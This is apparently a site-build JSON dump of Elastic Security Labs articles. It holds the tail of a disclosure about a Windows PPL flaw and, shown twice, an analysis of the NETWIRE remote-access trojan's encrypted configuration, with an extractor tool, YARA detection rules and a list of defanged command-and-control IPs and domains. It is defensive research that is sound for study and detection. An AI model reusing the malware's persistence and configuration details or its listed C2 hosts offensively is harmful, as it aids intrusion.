\",(0,t.jsx)(e.a,{href:\"https://www.microsoft.com/en-us/msrc?rtc=1\",rel:\"nofollow\",children:\"Microsoft Security Response Center\"}),\" (MSRC) on 2022-01-05. They responded on 2022-01-24 that they have classified it as moderate severity, and will not address it with a security update. However, they may address it in a future version of Windows.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,t.jsx)(e.p,{children:\"In this article, we disclosed a flaw in the Windows Protected Process Light (PPL) mechanism. We then demonstrated how malware can use this flaw to neutralize PPL anti-malware products. Finally, we showed a simple ACL fix (with sample code) that anti-malware products can employ to defend against this attack. Elastic Security already incorporates this fix, but we hope that Windows implements it (or something equivalent) by default in the near future.\"})]})}function k(s={}){let{wrapper:e}=s.components||{};return e?(0,t.jsx)(e,Object.assign({},s,{children:(0,t.jsx)(d,s)})):d(s)}var E=k;function v(s,e){throw new Error(\"Expected \"+(e?\"component\":\"object\")+\" `\"+s+\"` to be defined: you likely forgot to import, pass, or provide it.\")}return y(T);})();\n;return Component;"},"_id":"articles/sandboxing-antimalware-products.mdx","_raw":{"sourceFilePath":"articles/sandboxing-antimalware-products.mdx","sourceFileName":"sandboxing-antimalware-products.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/sandboxing-antimalware-products"},"type":"Article","imageUrl":"/assets/images/sandboxing-antimalware-products/blog-thumb-tools-various.jpg","readingTime":"10 min read","series":"","url":"/sandboxing-antimalware-products","headings":[{"level":2,"title":"Protected Anti-Malware Services","href":"#protected-anti-malware-services"},{"level":2,"title":"Windows Tokens","href":"#windows-tokens"},{"level":3,"title":"Sandboxing Tokens","href":"#sandboxing-tokens"},{"level":3,"title":"Accessing Tokens","href":"#accessing-tokens"},{"level":2,"title":"The Attack","href":"#the-attack"},{"level":3,"title":"Demo","href":"#demo"},{"level":2,"title":"Defense","href":"#defense"},{"level":3,"title":"Mitigation","href":"#mitigation"},{"level":2,"title":"Disclosure","href":"#disclosure"},{"level":2,"title":"Conclusion","href":"#conclusion"}],"author":[{"title":"Gabriel Landau","slug":"gabriel-landau","description":"Principal Software Engineer II, Elastic","image":"gabriel-landau.jpg","body":{"raw":"","code":"var Component=(()=\u003e{var g=Object.create;var i=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var d=Object.getOwnPropertyNames;var x=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var p=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of d(e))!f.call(t,r)\u0026\u0026r!==n\u0026\u0026i(t,r,{get:()=\u003ee[r],enumerable:!(o=m(e,r))||o.enumerable});return t};var _=(t,e,n)=\u003e(n=t!=null?g(x(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),b=t=\u003es(i({},\"__esModule\",{value:!0}),t);var l=p((F,c)=\u003e{c.exports=_jsx_runtime});var D={};j(D,{default:()=\u003eC,frontmatter:()=\u003eM});var a=_(l()),M={title:\"Gabriel Landau\",description:\"Principal Software Engineer II, Elastic\",image:\"gabriel-landau.jpg\",slug:\"gabriel-landau\"};function u(t){return(0,a.jsx)(a.Fragment,{})}function w(t={}){let{wrapper:e}=t.components||{};return e?(0,a.jsx)(e,Object.assign({},t,{children:(0,a.jsx)(u,t)})):u(t)}var C=w;return b(D);})();\n;return Component;"},"_id":"authors/gabriel-landau.mdx","_raw":{"sourceFilePath":"authors/gabriel-landau.mdx","sourceFileName":"gabriel-landau.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/gabriel-landau"},"type":"Author","imageUrl":"/assets/images/authors/gabriel-landau.jpg","url":"/authors/gabriel-landau"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"NETWIRE Dynamic Configuration Extraction","slug":"netwire-dynamic-configuration-extraction","date":"2023-01-30","description":"Elastic Security Labs discusses the NETWIRE trojan and is releasing a tool to dynamically extract configuration files.","image":"lock-code-combination-configuration.jpg","subtitle":"A tool for the dynamic extraction of NETWIRE configurations based on emulation.","tags":["netwire","ref9965"],"body":{"raw":"\n## Key takeaways\n\n- NETWIRE has shown an increase in prevalence over the last year\n- Elastic Security Labs created an extractor to pull out configuration data from NETWIRE files and memory dumps targeting the functions the malware uses to extract its encrypted data\n- The NETWIRE extractor is freely available for download\n\n\u003e To download the NETWIRE configuration extractor, check out our post on the tool:\n\u003e\n\u003e - [NETWIRE configuration extractor](https://www.elastic.co/security-labs/netwire-configuration-extractor)\n\n## Preamble\n\n[NETWIRE](https://malpedia.caad.fkie.fraunhofer.de/details/win.netwire) is a Remote Access Tool (RAT) that has been used since at least 2014. It is a publicly available commodity malware and has been observed being used by financially motivated and nation-state actors.\n\n\n\nIn the second half of 2022, we noticed an uptick in the prevalence of NETWIRE usage in our telemetry data. This prompted the Elastic Security Labs team to develop a configuration extractor to assist the security community in collecting atomic indicators within the configurations. Using this extractor will support threat tracking and improve detection, prevention, and response times.\n\n## Extractor\n\nThe NETWIRE RAT uses the [RC4 symmetric encryption](https://en.wikipedia.org/wiki/RC4) algorithm to protect its configuration which is encrypted in the **.data** section along with the 16 bytes long RC4 decryption key.\n\nWhile reversing our samples the analysts noticed that for both the **crypto::rc4_init_sbox** and **crypto::rc4_decrypt** functions the second argument (#2 in the image below) is always a memory address for the desired encrypted configuration value, and the third argument (#3) is an immediate value written to the memory stack before the call which represents the size of the encrypted string.\n\nIt was also noted that the function calls are one after the other. This is important to allow us to structure the extractor to look for these functions sequentially.\n\n\n\nWith **$key** (from the above image) in mind, we created YARA rules to identify the location of the key and encrypted configuration values.\n\n to:\n\n1. Locate the function responsible for decrypting the configuration using YARA.\n2. Disassemble the function using Capstone.\n\n3. Extract the RC4 key address and the encrypted configuration field addresses.\n4. Extract the size of the configuration field.\n5. RC4 decrypt the encrypted fields and rebuild the configuration.\n\n\n\n registry key to achieve persistence.\n- **C2 IP list** : List of command and control (C2) server domains or IP addresses.\n- **Host ID** : A unique identifier that is assigned to the infected machine.\n- **Installation path** : The location where the malware will be installed.\n- **Keylogger logs directory** : The location where the keylogging log file will be stored.\n- **Mutex** : Mutex name, to create a synchronization object to ensure only one instance of the sample is running on the machine.\n- **Password** : Static password to generate AES key used for encrypting the communication between the malware and the C2 server.\n- **Run registry key entry** : Name of the entry in the [run registry](https://attack.mitre.org/techniques/T1547/001/), used for persistence.\n- **Sleep in seconds** : The amount of time the malware sleeps.\n\n\n\nThe configuration extractor accepts four parameters:\n\n- **-f** : to specify a single NETWIRE sample\n- **-d** : To specify a directory of NETWIRE samples\n- **-o** : To write the configuration in JSON format to the specified file\n- **--all-config** : To print the unparsed raw decrypted configuration\n\n## Analysis\n\nWe’ve used this extractor to examine a set of samples from the previous 180 days to extract indicators for further enrichment and analysis.\n\nOur initially collected batch of samples came as a mixture of executable files and memory dumps. The extractor will only work on unmapped files, so the dumps which were already mapped were run through [**pe_unmapper**](https://github.com/hasherezade/pe_unmapper).\n\nWhen extracting a payload from memory, we are obtaining a memory-mapped version of it. This means that the **\"Raw Address\"** and **\"Raw Size\"** may not be correctly aligned with the correct section’s data. To correctly align the PE file, it is necessary to adjust the pointer to the raw address so that it matches the virtual address for every section.\n\nNow we can run the configuration extractor with [Poetry](https://python-poetry.org/) against our directory of unmapped binaries:\n\n```\n**poetry lock**\n**poetry install**\n**poetry shell**\n**netwire-config-extractor -d sample-dir/ -o output.ndjson**\n```\n\nThis file, **output.ndjson** , can then be uploaded to Kibana for further analysis.\n\n\u003e Check out the [Elastic Container project](https://www.elastic.co/security-labs/the-elastic-container-project) to quick spin up an Elastic Stack and start analyzing structured security-relevant data.\n\n\n\nNext time you run into a NETWIRE sample, run it through our configuration extractor to pull out other indicators to help you on your analytic journey or begin remediating quicker.\n\n## Detection\n\n### YARA\n\nThese YARA rules can used to detect and identify NETWIRE RAT.\n\n```\nrule Windows_Trojan_Netwire_1 {\n meta:\n author = \"Elastic Security\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"Netwire\"\n threat_name = \"Windows.Trojan.Netwire\"\n strings:\n $a = { 0F B6 74 0C 10 89 CF 29 C7 F7 C6 DF 00 00 00 74 09 41 89 F3 88 5C }\n condition:\n all of them\n}\nrule Windows_Trojan_Netwire_2 {\n meta:\n author = \"Elastic Security\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"Netwire\"\n threat_name = \"Windows.Trojan.Netwire\"\n strings:\n $a1 = \"[%.2d/%.2d/%d %.2d:%.2d:%.2d]\" fullword\n $a2 = \"\\\\Login Data\"\n $a3 = \"SOFTWARE\\\\NetWire\" fullword\n condition:\n 2 of them\n}\nrule Windows_Trojan_Netwire_3 {\n meta:\n author = \"Elastic Security\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"Netwire\"\n threat_name = \"Windows.Trojan.Netwire\"\n strings:\n $a = { C9 0F 44 C8 D0 EB 8A 44 24 12 0F B7 C9 75 D1 32 C0 B3 01 8B CE 88 44 }\n condition:\n all of them\n}\nrule Windows_Trojan_Netwire_4 {\n meta:\n author = \"Elastic Security\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"Netwire\"\n threat_name = \"Windows.Trojan.Netwire\"\n strings:\n $a1 = \"http://%s%ComSpec\" ascii fullword\n $a2 = \"%c%.8x%s\" ascii fullword\n $a3 = \"%6\\\\6Z65dlNh\\\\YlS.dfd\" ascii fullword\n $a4 = \"GET %s HTTP/1.1\" ascii fullword\n $a5 = \"R-W65: %6:%S\" ascii fullword\n $a6 = \"PTLLjPq %6:%S -qq9/G.y\" ascii fullword\n condition:\n 4 of them\n}\n```\n\n## Indicators\n\nAll indicators are also available [for download](https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blte3d9f2700cdf6637/63d3f854e4e29e75dc5de351/9965-indicators.zip) in both ECS and STIX format in a combined zip bundle.\n\nThe following indicators were discussed in this research.\n\n| Indicator | Type | Note |\n| -------------------------------------- | ----------- | -------------- |\n| 139.28.38[.]235 | ipv4-addr | NETWIRE RAT C2 |\n| 149.102.132[.]253 | ipv4-addr | NETWIRE RAT C2 |\n| 184.75.221[.]115 | ipv4-addr | NETWIRE RAT C2 |\n| 185.136.165[.]182 | ipv4-addr | NETWIRE RAT C2 |\n| 185.140.53[.]139 | ipv4-addr | NETWIRE RAT C2 |\n| 185.140.53[.]144 | ipv4-addr | NETWIRE RAT C2 |\n| 185.140.53[.]154 | ipv4-addr | NETWIRE RAT C2 |\n| 185.140.53[.]61 | ipv4-addr | NETWIRE RAT C2 |\n| 185.216.71[.]251 | ipv4-addr | NETWIRE RAT C2 |\n| 194.36.111[.]59 | ipv4-addr | NETWIRE RAT C2 |\n| 194.5.98[.]126 | ipv4-addr | NETWIRE RAT C2 |\n| 194.5.98[.]178 | ipv4-addr | NETWIRE RAT C2 |\n| 194.5.98[.]188 | ipv4-addr | NETWIRE RAT C2 |\n| 194.5.98[.]65 | ipv4-addr | NETWIRE RAT C2 |\n| 212.193.29[.]37 | ipv4-addr | NETWIRE RAT C2 |\n| 212.193.30[.]230 | ipv4-addr | NETWIRE RAT C2 |\n| 213.152.161[.]249 | ipv4-addr | NETWIRE RAT C2 |\n| 217.151.98[.]163 | ipv4-addr | NETWIRE RAT C2 |\n| 23.105.131[.]166 | ipv4-addr | NETWIRE RAT C2 |\n| 37.0.14[.]199 | ipv4-addr | NETWIRE RAT C2 |\n| 37.0.14[.]203 | ipv4-addr | NETWIRE RAT C2 |\n| 37.0.14[.]206 | ipv4-addr | NETWIRE RAT C2 |\n| 37.0.14[.]208 | ipv4-addr | NETWIRE RAT C2 |\n| 37.0.14[.]214 | ipv4-addr | NETWIRE RAT C2 |\n| 37.120.217[.]243 | ipv4-addr | NETWIRE RAT C2 |\n| 51.161.104[.]138 | ipv4-addr | NETWIRE RAT C2 |\n| 54.145.6[.]146 | ipv4-addr | NETWIRE RAT C2 |\n| 80.66.64[.]136 | ipv4-addr | NETWIRE RAT C2 |\n| 85.209.134[.]105 | ipv4-addr | NETWIRE RAT C2 |\n| 85.31.46[.]78 | ipv4-addr | NETWIRE RAT C2 |\n| 94.156.35[.]40 | ipv4-addr | NETWIRE RAT C2 |\n| 20220627.duckdns[.]org | domain-name | NETWIRE RAT C2 |\n| admin96.hopto[.]org | domain-name | NETWIRE RAT C2 |\n| alice2019.myftp[.]biz | domain-name | NETWIRE RAT C2 |\n| asorock1111.ddns[.]net | domain-name | NETWIRE RAT C2 |\n| banqueislamik.ddrive[.]online | domain-name | NETWIRE RAT C2 |\n| betterday.duckdns[.]org | domain-name | NETWIRE RAT C2 |\n| bigman2021.duckdns[.]org | domain-name | NETWIRE RAT C2 |\n| blazeblaze.ddns[.]net | domain-name | NETWIRE RAT C2 |\n| chongmei33.myddns[.]rocks | domain-name | NETWIRE RAT C2 |\n| clients.enigmasolutions[.]xyz | domain-name | NETWIRE RAT C2 |\n| gracedynu.gleeze[.]com | domain-name | NETWIRE RAT C2 |\n| ingobea.hopto[.]org | domain-name | NETWIRE RAT C2 |\n| iphanyi.edns[.]biz | domain-name | NETWIRE RAT C2 |\n| iphy.strangled[.]net | domain-name | NETWIRE RAT C2 |\n| kimlee11.duckdns[.]org | domain-name | NETWIRE RAT C2 |\n| loffgghh.duckdns[.]org | domain-name | NETWIRE RAT C2 |\n| megaton.gleeze[.]com | domain-name | NETWIRE RAT C2 |\n| moran101.duckdns[.]org | domain-name | NETWIRE RAT C2 |\n| netuwaya.servecounterstrike[.]com | domain-name | NETWIRE RAT C2 |\n| nowancenorly.ddns[.]net | domain-name | NETWIRE RAT C2 |\n| podzeye.duckdns[.]org | domain-name | NETWIRE RAT C2 |\n| podzeye2.duckdns[.]org | domain-name | NETWIRE RAT C2 |\n| recoveryonpoint.duckdns[.]org | domain-name | NETWIRE RAT C2 |\n| redlinea[.]top | domain-name | NETWIRE RAT C2 |\n| roller.duckdns[.]org | domain-name | NETWIRE RAT C2 |\n| rozayleekimishere.duckdns[.]org | domain-name | NETWIRE RAT C2 |\n| sani990.duckdns[.]org | domain-name | NETWIRE RAT C2 |\n| saturdaylivecheckthisout.duckdns[.]org | domain-name | NETWIRE RAT C2 |\n| uhie.hopto[.]org | domain-name | NETWIRE RAT C2 |\n| uhie2020.duckdns[.]org | domain-name | NETWIRE RAT C2 |\n| wcbradley.duckdns[.]org | domain-name | NETWIRE RAT C2 |\n| xman2.duckdns[.]org | domain-name | NETWIRE RAT C2 |\n| zonedx.ddns[.]net | domain-name | NETWIRE RAT C2 |\n","code":"var Component=(()=\u003e{var s=Object.create;var d=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var u=Object.getOwnPropertyNames;var p=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var T=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),E=(t,e)=\u003e{for(var i in e)d(t,i,{get:e[i],enumerable:!0})},l=(t,e,i,c)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of u(e))!g.call(t,r)\u0026\u0026r!==i\u0026\u0026d(t,r,{get:()=\u003ee[r],enumerable:!(c=m(e,r))||c.enumerable});return t};var R=(t,e,i)=\u003e(i=t!=null?s(p(t)):{},l(e||!t||!t.__esModule?d(i,\"default\",{value:t,enumerable:!0}):i,t)),f=t=\u003el(d({},\"__esModule\",{value:!0}),t);var o=T((I,a)=\u003e{a.exports=_jsx_runtime});var W={};E(W,{default:()=\u003eN,frontmatter:()=\u003ey});var n=R(o()),y={title:\"NETWIRE Dynamic Configuration Extraction\",slug:\"netwire-dynamic-configuration-extraction\",date:\"2023-01-30\",subtitle:\"A tool for the dynamic extraction of NETWIRE configurations based on emulation.\",description:\"Elastic Security Labs discusses the NETWIRE trojan and is releasing a tool to dynamically extract configuration files.\",author:[{slug:\"seth-goodwin\"},{slug:\"salim-bitam\"}],image:\"lock-code-combination-configuration.jpg\",category:[{slug:\"security-research\"}],tags:[\"netwire\",\"ref9965\"]};function h(t){let e=Object.assign({h2:\"h2\",ul:\"ul\",li:\"li\",blockquote:\"blockquote\",p:\"p\",a:\"a\",img:\"img\",strong:\"strong\",ol:\"ol\",pre:\"pre\",code:\"code\",h3:\"h3\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\"},t.components);return(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)(e.h2,{id:\"key-takeaways\",children:\"Key takeaways\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"NETWIRE has shown an increase in prevalence over the last year\"}),`\n`,(0,n.jsx)(e.li,{children:\"Elastic Security Labs created an extractor to pull out configuration data from NETWIRE files and memory dumps targeting the functions the malware uses to extract its encrypted data\"}),`\n`,(0,n.jsx)(e.li,{children:\"The NETWIRE extractor is freely available for download\"}),`\n`]}),`\n`,(0,n.jsxs)(e.blockquote,{children:[`\n`,(0,n.jsx)(e.p,{children:\"To download the NETWIRE configuration extractor, check out our post on the tool:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/netwire-configuration-extractor\",rel:\"nofollow\",children:\"NETWIRE configuration extractor\"})}),`\n`]}),`\n`]}),`\n`,(0,n.jsx)(e.h2,{id:\"preamble\",children:\"Preamble\"}),`\n`,(0,n.jsxs)(e.p,{children:[(0,n.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.netwire\",rel:\"nofollow\",children:\"NETWIRE\"}),\" is a Remote Access Tool (RAT) that has been used since at least 2014. It is a publicly available commodity malware and has been observed being used by financially motivated and nation-state actors.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/netwire-dynamic-configuration-extraction/image1.jpg\",alt:\"NETWIRE observations over the past 12-months\",width:\"1440\",height:\"218\"})}),`\n`,(0,n.jsx)(e.p,{children:\"In the second half of 2022, we noticed an uptick in the prevalence of NETWIRE usage in our telemetry data. This prompted the Elastic Security Labs team to develop a configuration extractor to assist the security community in collecting atomic indicators within the configurations. Using this extractor will support threat tracking and improve detection, prevention, and response times.\"}),`\n`,(0,n.jsx)(e.h2,{id:\"extractor\",children:\"Extractor\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"The NETWIRE RAT uses the \",(0,n.jsx)(e.a,{href:\"https://en.wikipedia.org/wiki/RC4\",rel:\"nofollow\",children:\"RC4 symmetric encryption\"}),\" algorithm to protect its configuration which is encrypted in the \",(0,n.jsx)(e.strong,{children:\".data\"}),\" section along with the 16 bytes long RC4 decryption key.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"While reversing our samples the analysts noticed that for both the \",(0,n.jsx)(e.strong,{children:\"crypto::rc4_init_sbox\"}),\" and \",(0,n.jsx)(e.strong,{children:\"crypto::rc4_decrypt\"}),\" functions the second argument (#2 in the image below) is always a memory address for the desired encrypted configuration value, and the third argument (#3) is an immediate value written to the memory stack before the call which represents the size of the encrypted string.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"It was also noted that the function calls are one after the other. This is important to allow us to structure the extractor to look for these functions sequentially.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/netwire-dynamic-configuration-extraction/image4.png\",alt:\"NETWIRE's assembly code for the decryption function\",width:\"1440\",height:\"895\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"With \",(0,n.jsx)(e.strong,{children:\"$key\"}),\" (from the above image) in mind, we created YARA rules to identify the location of the key and encrypted configuration values.\"]}),`\n`,(0,n.jsx)(e.p,{children:\",`\n`,(0,n.jsxs)(e.p,{children:[\"With this information we can then use \",(0,n.jsx)(e.a,{href:\"http://www.capstone-engine.org/\",rel:\"nofollow\",children:\"Capstone\"}),\" to:\"]}),`\n`,(0,n.jsxs)(e.ol,{children:[`\n`,(0,n.jsxs)(e.li,{children:[`\n`,(0,n.jsx)(e.p,{children:\"Locate the function responsible for decrypting the configuration using YARA.\"}),`\n`]}),`\n`,(0,n.jsxs)(e.li,{children:[`\n`,(0,n.jsx)(e.p,{children:\"Disassemble the function using Capstone.\"}),`\n`]}),`\n`,(0,n.jsxs)(e.li,{children:[`\n`,(0,n.jsx)(e.p,{children:\"Extract the RC4 key address and the encrypted configuration field addresses.\"}),`\n`]}),`\n`,(0,n.jsxs)(e.li,{children:[`\n`,(0,n.jsx)(e.p,{children:\"Extract the size of the configuration field.\"}),`\n`]}),`\n`,(0,n.jsxs)(e.li,{children:[`\n`,(0,n.jsx)(e.p,{children:\"RC4 decrypt the encrypted fields and rebuild the configuration.\"}),`\n`]}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/netwire-dynamic-configuration-extraction/image2.jpg\",alt:\"Locating the RC4 key address and the encrypted configuration\",width:\"1018\",height:\"771\"})}),`\n`,(0,n.jsx)(e.p,{children:\",`\n`,(0,n.jsx)(e.p,{children:\"Once we have recreated the configuration, we can use the extractor to pull out several parameters used by NETWIRE, as well as a few basic file characteristics:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Active Setup Key\"}),\" : \",(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1547/014/\",rel:\"nofollow\",children:\"Active Setup\"}),\" registry key to achieve persistence.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"C2 IP list\"}),\" : List of command and control (C2) server domains or IP addresses.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Host ID\"}),\" : A unique identifier that is assigned to the infected machine.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Installation path\"}),\" : The location where the malware will be installed.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Keylogger logs directory\"}),\" : The location where the keylogging log file will be stored.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Mutex\"}),\" : Mutex name, to create a synchronization object to ensure only one instance of the sample is running on the machine.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Password\"}),\" : Static password to generate AES key used for encrypting the communication between the malware and the C2 server.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Run registry key entry\"}),\" : Name of the entry in the \",(0,n.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1547/001/\",rel:\"nofollow\",children:\"run registry\"}),\", used for persistence.\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"Sleep in seconds\"}),\" : The amount of time the malware sleeps.\"]}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/netwire-dynamic-configuration-extraction/image6.jpg\",alt:\"Sample output from configuration extractor\",width:\"1440\",height:\"598\"})}),`\n`,(0,n.jsx)(e.p,{children:\"The configuration extractor accepts four parameters:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"-f\"}),\" : to specify a single NETWIRE sample\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"-d\"}),\" : To specify a directory of NETWIRE samples\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"-o\"}),\" : To write the configuration in JSON format to the specified file\"]}),`\n`,(0,n.jsxs)(e.li,{children:[(0,n.jsx)(e.strong,{children:\"--all-config\"}),\" : To print the unparsed raw decrypted configuration\"]}),`\n`]}),`\n`,(0,n.jsx)(e.h2,{id:\"analysis\",children:\"Analysis\"}),`\n`,(0,n.jsx)(e.p,{children:\"We\\u2019ve used this extractor to examine a set of samples from the previous 180 days to extract indicators for further enrichment and analysis.\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"Our initially collected batch of samples came as a mixture of executable files and memory dumps. The extractor will only work on unmapped files, so the dumps which were already mapped were run through \",(0,n.jsx)(e.a,{href:\"https://github.com/hasherezade/pe_unmapper\",rel:\"nofollow\",children:(0,n.jsx)(e.strong,{children:\"pe_unmapper\"})}),\".\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"When extracting a payload from memory, we are obtaining a memory-mapped version of it. This means that the \",(0,n.jsx)(e.strong,{children:'\"Raw Address\"'}),\" and \",(0,n.jsx)(e.strong,{children:'\"Raw Size\"'}),\" may not be correctly aligned with the correct section\\u2019s data. To correctly align the PE file, it is necessary to adjust the pointer to the raw address so that it matches the virtual address for every section.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"Now we can run the configuration extractor with \",(0,n.jsx)(e.a,{href:\"https://python-poetry.org/\",rel:\"nofollow\",children:\"Poetry\"}),\" against our directory of unmapped binaries:\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`**poetry lock**\n**poetry install**\n**poetry shell**\n**netwire-config-extractor -d sample-dir/ -o output.ndjson**\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"This file, \",(0,n.jsx)(e.strong,{children:\"output.ndjson\"}),\" , can then be uploaded to Kibana for further analysis.\"]}),`\n`,(0,n.jsxs)(e.blockquote,{children:[`\n`,(0,n.jsxs)(e.p,{children:[\"Check out the \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/the-elastic-container-project\",rel:\"nofollow\",children:\"Elastic Container project\"}),\" to quick spin up an Elastic Stack and start analyzing structured security-relevant data.\"]}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/netwire-dynamic-configuration-extraction/image3.png\",alt:\"Extracted NETWIRE configuration data\",width:\"1440\",height:\"1046\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Next time you run into a NETWIRE sample, run it through our configuration extractor to pull out other indicators to help you on your analytic journey or begin remediating quicker.\"}),`\n`,(0,n.jsx)(e.h2,{id:\"detection\",children:\"Detection\"}),`\n`,(0,n.jsx)(e.h3,{id:\"yara\",children:\"YARA\"}),`\n`,(0,n.jsx)(e.p,{children:\"These YARA rules can used to detect and identify NETWIRE RAT.\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`rule Windows_Trojan_Netwire_1 {\n meta:\n author = \"Elastic Security\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"Netwire\"\n threat_name = \"Windows.Trojan.Netwire\"\n strings:\n $a = { 0F B6 74 0C 10 89 CF 29 C7 F7 C6 DF 00 00 00 74 09 41 89 F3 88 5C }\n condition:\n all of them\n}\nrule Windows_Trojan_Netwire_2 {\n meta:\n author = \"Elastic Security\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"Netwire\"\n threat_name = \"Windows.Trojan.Netwire\"\n strings:\n $a1 = \"[%.2d/%.2d/%d %.2d:%.2d:%.2d]\" fullword\n $a2 = \"\\\\\\\\Login Data\"\n $a3 = \"SOFTWARE\\\\\\\\NetWire\" fullword\n condition:\n 2 of them\n}\nrule Windows_Trojan_Netwire_3 {\n meta:\n author = \"Elastic Security\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"Netwire\"\n threat_name = \"Windows.Trojan.Netwire\"\n strings:\n $a = { C9 0F 44 C8 D0 EB 8A 44 24 12 0F B7 C9 75 D1 32 C0 B3 01 8B CE 88 44 }\n condition:\n all of them\n}\nrule Windows_Trojan_Netwire_4 {\n meta:\n author = \"Elastic Security\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"Netwire\"\n threat_name = \"Windows.Trojan.Netwire\"\n strings:\n $a1 = \"http://%s%ComSpec\" ascii 